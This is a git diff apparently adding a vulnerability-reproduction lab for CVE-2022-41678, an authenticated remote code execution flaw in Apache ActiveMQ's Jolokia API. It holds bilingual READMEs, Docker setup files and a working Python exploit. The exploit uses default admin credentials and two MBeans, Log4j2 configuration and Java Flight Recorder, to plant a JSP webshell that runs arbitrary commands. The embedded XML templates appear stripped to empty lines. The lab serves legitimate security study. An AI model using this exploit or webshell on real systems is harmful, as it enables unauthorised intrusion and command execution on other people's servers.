diff --git a/activemq/CVE-2022-41678/1.png b/activemq/CVE-2022-41678/1.png new file mode 100644 index 00000000..352b56f2 Binary files /dev/null and b/activemq/CVE-2022-41678/1.png differ diff --git a/activemq/CVE-2022-41678/2.png b/activemq/CVE-2022-41678/2.png new file mode 100644 index 00000000..4574aeda Binary files /dev/null and b/activemq/CVE-2022-41678/2.png differ diff --git a/activemq/CVE-2022-41678/3.png b/activemq/CVE-2022-41678/3.png new file mode 100644 index 00000000..dbfa3549 Binary files /dev/null and b/activemq/CVE-2022-41678/3.png differ diff --git a/activemq/CVE-2022-41678/4.png b/activemq/CVE-2022-41678/4.png new file mode 100644 index 00000000..fdd03362 Binary files /dev/null and b/activemq/CVE-2022-41678/4.png differ diff --git a/activemq/CVE-2022-41678/5.png b/activemq/CVE-2022-41678/5.png new file mode 100644 index 00000000..2bf1eda6 Binary files /dev/null and b/activemq/CVE-2022-41678/5.png differ diff --git a/activemq/CVE-2022-41678/README.md b/activemq/CVE-2022-41678/README.md new file mode 100644 index 00000000..ecbb2461 --- /dev/null +++ b/activemq/CVE-2022-41678/README.md @@ -0,0 +1,83 @@ +# Apache ActiveMQ Jolokia Authenticated Remote Code Execution (CVE-2022-41678) + +[中文版本(Chinese version)](README.zh-cn.md) + +Apache ActiveMQ is an open source messaging middleware developed by the American Pachitea (Apache) Software Foundation that supports Java messaging services, clustering, Spring framework, and more. + +Apache ActiveMQ prior to 5.16.5, 5.17.3, there is a authenticated RCE exists in the Jolokia `/api/jolokia`. + +References: + +- +- + +## Vulnerable Environment + +Execute following command to start a Apache ActiveMQ 5.17.3: + +``` +docker compose up -d +``` + +After server is started, open the `http://your-ip:8161/` and input username and password with `admin` and `admin`. Then you will see the index page of Apache ActiveMQ. + +## Exploit + +Firstly, listing all avaiable MBeans in Apache ActiveMQ by `/api/jolokia/list`: + +``` +GET /api/jolokia/list HTTP/1.1 +Host: localhost:8161 +Accept-Encoding: gzip, deflate, br +Accept: */* +Accept-Language: en-US;q=0.9,en;q=0.8 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Connection: close +Cache-Control: max-age=0 +Authorization: Basic YWRtaW46YWRtaW4= +Origin: http://localhost + + +``` + +![](1.png) + +There are 2 exploitable MBeans that are able to perform RCE in this list. + +## Method #1 + +The first one is using the `org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean`, a MBean provided by Log4j2. + +Attacker can use this MBean to update the Log4j configuration and write logs to arbitrary directories. + +I prepared a [poc](poc.py) to reproduce the whole process: + +``` +python poc.py -u admin -p admin http://your-ip:8161 +``` + +![](2.png) + +Webshell is written to `/admin/shell.jsp` successfully: + +![](3.png) + +This method is limited by version of ActiveMQ, since Log4j2 was introduced in Apache ActiveMQ 5.17.0. + +## Method #2 + +The second one is using the `jdk.management.jfr.FlightRecorderMXBean` MBean. + +FlightRecorder was introduced in OpenJDK 11, users are able to use FlightRecorderMXBean to create record and save it to a file. This feature is also can be used to write webshell. + +Use [poc](poc.py) to reproduce the whole process: + +``` +python poc.py -u admin -p admin --exploit jfr http://localhost:8161 +``` + +![](4.png) + +Webshell is written to `/admin/shelljfr.jsp` successfully: + +![](5.png) diff --git a/activemq/CVE-2022-41678/README.zh-cn.md b/activemq/CVE-2022-41678/README.zh-cn.md new file mode 100644 index 00000000..c4a62591 --- /dev/null +++ b/activemq/CVE-2022-41678/README.zh-cn.md @@ -0,0 +1,81 @@ +# Apache ActiveMQ Jolokia 后台远程代码执行漏洞(CVE-2022-41678) + +Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。 + +Apache ActiveMQ 在5.16.5, 5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。 + +参考链接: + +- +- + +## 漏洞环境 + +执行如下命令启动一个Apache ActiveMQ 5.17.3服务器: + +``` +docker compose up -d +``` + +服务启动后,访问`http://your-ip:8161/`后输入账号密码`admin`和`admin`,即可成功登录后台。 + +## 漏洞复现 + +首先,访问`/api/jolokia/list`这个API可以查看当前服务器里所有的MBeans: + +``` +GET /api/jolokia/list HTTP/1.1 +Host: localhost:8161 +Accept-Encoding: gzip, deflate, br +Accept: */* +Accept-Language: en-US;q=0.9,en;q=0.8 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Connection: close +Cache-Control: max-age=0 +Authorization: Basic YWRtaW46YWRtaW4= +Origin: http://localhost + + +``` + +![](1.png) + +这其中有两个可以被用来执行任意代码。 + +## 方法1 + +第一个方法是使用`org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean`,这是由Log4j2提供的一个MBean。 + +攻击者使用这个MBean中的`setConfigText`操作可以更改Log4j的配置,进而将日志文件写入任意目录中。 + +使用[poc](poc.py)脚本来复现完整的过程: + +``` +python poc.py -u admin -p admin http://your-ip:8161 +``` + +![](2.png) + +Webshell被写入在`/admin/shell.jsp`文件中: + +![](3.png) + +这个方法受到ActiveMQ版本的限制,因为Log4j2是在5.17.0中才引入Apache ActiveMQ。 + +## 方法2 + +第二个可利用的Mbean是`jdk.management.jfr.FlightRecorderMXBean`。 + +FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。 + +使用[poc](poc.py)脚本来复现完整的过程(使用`--exploit`参数指定使用的方法): + +``` +python poc.py -u admin -p admin --exploit jfr http://localhost:8161 +``` + +![](4.png) + +Webshell被写入在`/admin/shelljfr.jsp`文件中: + +![](5.png) diff --git a/activemq/CVE-2022-41678/docker-compose.yml b/activemq/CVE-2022-41678/docker-compose.yml new file mode 100644 index 00000000..35db6a8e --- /dev/null +++ b/activemq/CVE-2022-41678/docker-compose.yml @@ -0,0 +1,8 @@ +version: '2' +services: + activemq: + image: vulhub/activemq:5.17.3 + ports: + - "61616:61616" + - "8161:8161" + - "5005:5005" \ No newline at end of file diff --git a/activemq/CVE-2022-41678/poc.py b/activemq/CVE-2022-41678/poc.py new file mode 100755 index 00000000..9b63c555 --- /dev/null +++ b/activemq/CVE-2022-41678/poc.py @@ -0,0 +1,1076 @@ +#!/usr/bin/env python3 +import sys +import logging +import requests +import argparse +import time +from urllib.parse import urljoin +from html import escape + +logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); ' + 'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>') +original_template = r''' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +''' +evil_template = r''' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +''' +record_template = r''' + + + + + + + true + + + + + true + 1000 ms + + + + true + everyChunk + + + + true + 1000 ms + + + + true + true + + + + true + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + false + true + 20 ms + + + + true + true + 0 ms + + + + true + true + 0 ms + + + + true + true + 0 ms + + + + true + true + + + + false + true + 0 ms + + + + false + true + + + + false + + + + true + beginChunk + + + + true + beginChunk + + + + true + 20 ms + + + + true + 20 ms + + + + true + 10 ms + + + + false + 10 ms + + + + false + 10 ms + + + + false + 10 ms + + + + false + 10 ms + + + + false + 10 ms + + + + true + 10 ms + + + + true + true + + + + true + everyChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + + + + false + everyChunk + + + + true + everyChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + false + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + true + + + + true + true + + + + true + + + + true + 0 ms + + + + true + 0 ms + + + + true + 0 ms + + + + true + 0 ms + + + + true + 0 ms + + + + true + 0 ms + + + + true + 0 ms + + + + true + 0 ms + + + + false + 0 ms + + + + false + 0 ms + + + + true + 0 ms + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + + + + true + + + + false + + + + false + + + + true + + + + false + true + + + + true + + + + false + everyChunk + + + + false + + + + false + everyChunk + + + + false + + + + true + false + 0 ns + + + + true + beginChunk + + + + true + 1000 ms + + + + true + 1000 ms + + + + true + 60 s + + + + false + + + + false + + + + true + beginChunk + + + + true + everyChunk + + + + true + 100 ms + + + + true + beginChunk + + + + true + everyChunk + + + + true + + + + true + beginChunk + + + + true + beginChunk + + + + true + beginChunk + + + + true + 10 s + + + + true + 1000 ms + + + + true + 10 s + + + + true + beginChunk + + + + true + endChunk + + + + true + 5 s + + + + true + beginChunk + + + + true + everyChunk + + + + false + true + + + + false + true + + + + true + everyChunk + + + + true + endChunk + + + + true + endChunk + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + true + true + 20 ms + + + + false + true + + + + false + true + + + + false + true + + + + false + true + + + + false + true + + + + true + true + + + + true + 1000 ms + + + + true + + + + true + + + + true + + + + true + + + + true + 10 ms + + + + true + 0 ms + + + + true + 10 ms + + + + true + 10 ms + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 20 ms + + 20 ms + + 20 ms + + false + + + + +''' + + +class Application(object): + def __init__(self, url, username, password): + self.url = url + self.session = requests.session() + self.session.headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' + 'Chrome/117.0.5938.132 Safari/537.36', + 'Origin': url, + } + self.session.auth = (username, password) + + def request(self, method: str, path: str, *args, **kwargs): + data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json() + assert data['status'] == 200 + return data + + def find_mbean_name(self): + data = self.request('GET', '/api/jolokia/list') + for name, val in data['value'].items(): + if name == 'org.apache.logging.log4j2': + for type_name in val.keys(): + if type_name.startswith('type='): + return f'{name}:{type_name}' + + for name, val in data['value'].items(): + if name == 'jdk.management.jfr': + for type_name in val.keys(): + if type_name == 'type=FlightRecorder': + return f'{name}:{type_name}' + + raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr') + + def modify_config(self, mbean: str, template: str): + self.request('POST', '/api/jolokia/', json=dict( + type='exec', + mbean=mbean, + operation='setConfigText', + arguments=[template, 'utf-8'] + )) + + def exploit_log4j(self, mbean: str): + self.modify_config(mbean, evil_template) + logging.info('update log config') + self.request('GET', '/api/jolokia/version', headers={ + 'User-Agent': f'Mozilla ||| {webshell} |||' + }) + logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id')) + self.modify_config(mbean, original_template) + logging.info('restore log config') + + def exploit_jfr(self): + record_id = self.create_record() + logging.info('create flight record, id = %d', record_id) + self.request('POST', '/api/jolokia/', json=dict( + type='exec', + mbean='jdk.management.jfr:type=FlightRecorder', + operation='setConfiguration', + arguments=[record_id, record_template] + )) + logging.info('update configuration for record %d', record_id) + self.request('POST', '/api/jolokia/', json=dict( + type='exec', + mbean='jdk.management.jfr:type=FlightRecorder', + operation='startRecording', + arguments=[record_id] + )) + logging.info('start record') + time.sleep(1) + self.request('POST', '/api/jolokia/', json=dict( + type='exec', + mbean='jdk.management.jfr:type=FlightRecorder', + operation='stopRecording', + arguments=[record_id] + )) + logging.info('stop record') + self.request('POST', '/api/jolokia/', json=dict( + type='exec', + mbean='jdk.management.jfr:type=FlightRecorder', + operation='copyTo', + arguments=[record_id, 'webapps/admin/shelljfr.jsp'] + )) + logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id')) + + def exploit(self, action='auto'): + mbean = self.find_mbean_name() + if action == 'log4j': + logging.info('choice MBean org.apache.logging.log4j2 manually') + self.exploit_log4j(mbean) + elif action == 'jfr': + logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually') + self.exploit_jfr() + elif mbean.startswith('org.apache.logging.log4j2'): + logging.info('choice MBean %r automatically', mbean) + self.exploit_log4j(mbean) + else: + logging.info('choice MBean %r automatically', mbean) + self.exploit_jfr() + + def create_record(self): + data = self.request('POST', '/api/jolokia/', json=dict( + type='exec', + mbean='jdk.management.jfr:type=FlightRecorder', + operation='newRecording', + arguments=[] + )) + return data['value'] + + +def main(): + parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ') + parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console') + parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console') + parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit') + parser.add_argument('url', type=str) + args = parser.parse_args() + app = Application(args.url, args.username, args.password) + app.exploit(args.exploit) + + +if __name__ == '__main__': + main() diff --git a/base/activemq/5.16.5/Dockerfile b/base/activemq/5.16.5/Dockerfile new file mode 100644 index 00000000..1396cce9 --- /dev/null +++ b/base/activemq/5.16.5/Dockerfile @@ -0,0 +1,21 @@ +FROM openjdk:11.0.16-jre + +ENV ACTIVEMQ_VERSION 5.16.5 +ENV ACTIVEMQ apache-activemq-$ACTIVEMQ_VERSION +ENV ACTIVEMQ_TCP=61616 ACTIVEMQ_AMQP=5672 ACTIVEMQ_STOMP=61613 ACTIVEMQ_MQTT=1883 ACTIVEMQ_WS=61614 ACTIVEMQ_UI=8161 + +ENV ACTIVEMQ_HOME /opt/activemq + +RUN set -x \ + && mkdir -p $ACTIVEMQ_HOME \ + && curl -s -S https://archive.apache.org/dist/activemq/$ACTIVEMQ_VERSION/$ACTIVEMQ-bin.tar.gz | \ + tar xvz --strip-components=1 -C "$ACTIVEMQ_HOME" + +RUN set -ex \ + && sed -i 's/127\.0\.0\.1/0.0.0.0/' "${ACTIVEMQ_HOME}/conf/jetty.xml" \ + && echo 'ACTIVEMQ_DEBUG_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:5005"' >> "$ACTIVEMQ_HOME/bin/env" + +WORKDIR $ACTIVEMQ_HOME +EXPOSE $ACTIVEMQ_TCP $ACTIVEMQ_AMQP $ACTIVEMQ_STOMP $ACTIVEMQ_MQTT $ACTIVEMQ_WS $ACTIVEMQ_UI + +CMD ["/opt/activemq/bin/activemq", "console"] diff --git a/base/activemq/5.17.3/Dockerfile b/base/activemq/5.17.3/Dockerfile new file mode 100644 index 00000000..d3750466 --- /dev/null +++ b/base/activemq/5.17.3/Dockerfile @@ -0,0 +1,21 @@ +FROM openjdk:11.0.16-jre + +ENV ACTIVEMQ_VERSION 5.17.3 +ENV ACTIVEMQ apache-activemq-$ACTIVEMQ_VERSION +ENV ACTIVEMQ_TCP=61616 ACTIVEMQ_AMQP=5672 ACTIVEMQ_STOMP=61613 ACTIVEMQ_MQTT=1883 ACTIVEMQ_WS=61614 ACTIVEMQ_UI=8161 + +ENV ACTIVEMQ_HOME /opt/activemq + +RUN set -x \ + && mkdir -p $ACTIVEMQ_HOME \ + && curl -s -S https://archive.apache.org/dist/activemq/$ACTIVEMQ_VERSION/$ACTIVEMQ-bin.tar.gz | \ + tar xvz --strip-components=1 -C "$ACTIVEMQ_HOME" + +RUN set -ex \ + && sed -i 's/127\.0\.0\.1/0.0.0.0/' "${ACTIVEMQ_HOME}/conf/jetty.xml" \ + && echo 'ACTIVEMQ_DEBUG_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:5005"' >> "$ACTIVEMQ_HOME/bin/env" + +WORKDIR $ACTIVEMQ_HOME +EXPOSE $ACTIVEMQ_TCP $ACTIVEMQ_AMQP $ACTIVEMQ_STOMP $ACTIVEMQ_MQTT $ACTIVEMQ_WS $ACTIVEMQ_UI + +CMD ["/opt/activemq/bin/activemq", "console"]